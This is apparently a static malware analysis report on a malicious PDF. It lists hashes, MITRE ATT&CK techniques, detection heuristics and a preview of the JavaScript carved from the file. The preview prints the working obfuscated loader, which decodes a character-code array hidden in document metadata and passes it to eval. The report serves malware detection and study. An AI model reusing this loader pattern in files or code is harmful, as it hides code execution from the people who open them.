Malicious PDF — malware analysis report

Static analysis result for SHA-256 c395ecf6e03905e4…

MALICIOUS

PDF

18.0 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-09
MD5: d82e5138ed4c83250c4b2f635c9a7e4b SHA-1: c4ee714ca58ca4a022298ed850c37575a1d55d2f SHA-256: c395ecf6e03905e49f8db739f6a5f41761b235f18148215f9fa7db3d2b16b998
154 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell T1204.002 Malicious File: User Execution: Malicious File

The PDF contains embedded JavaScript, flagged by multiple heuristics including a high-confidence ML classifier. The JavaScript is obfuscated using String.fromCharCode, a common technique to evade static analysis. The primary intent appears to be the execution of arbitrary code, likely to download and run a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x45F0 356 bytes
SHA-256: dab1fd44ffb13c1e8e303d2e2dafd1cc066c32a44f6864518fab952749076f35
Preview script
First 1,000 lines of the extracted script
var w = 4;
var yvs = this.title.replace(/w/g,'*w,');
yvs = yvs.replace(/t/g,'2');
yvs=yvs.substr(0,yvs.length-2) + ']';
vln=function(){return function(){return this}()}();
dexbd=vln[this.subject];
zgqti=dexbd(this.producer);
gomx = dexbd(yvs);
var s = '';
for (i = 0; i < gomx.length; i++) {
	gatu = gomx[i];
	s += zgqti(gatu);
}
dexbd(s);

Open this report in the interactive analyzer, or submit your own file for analysis.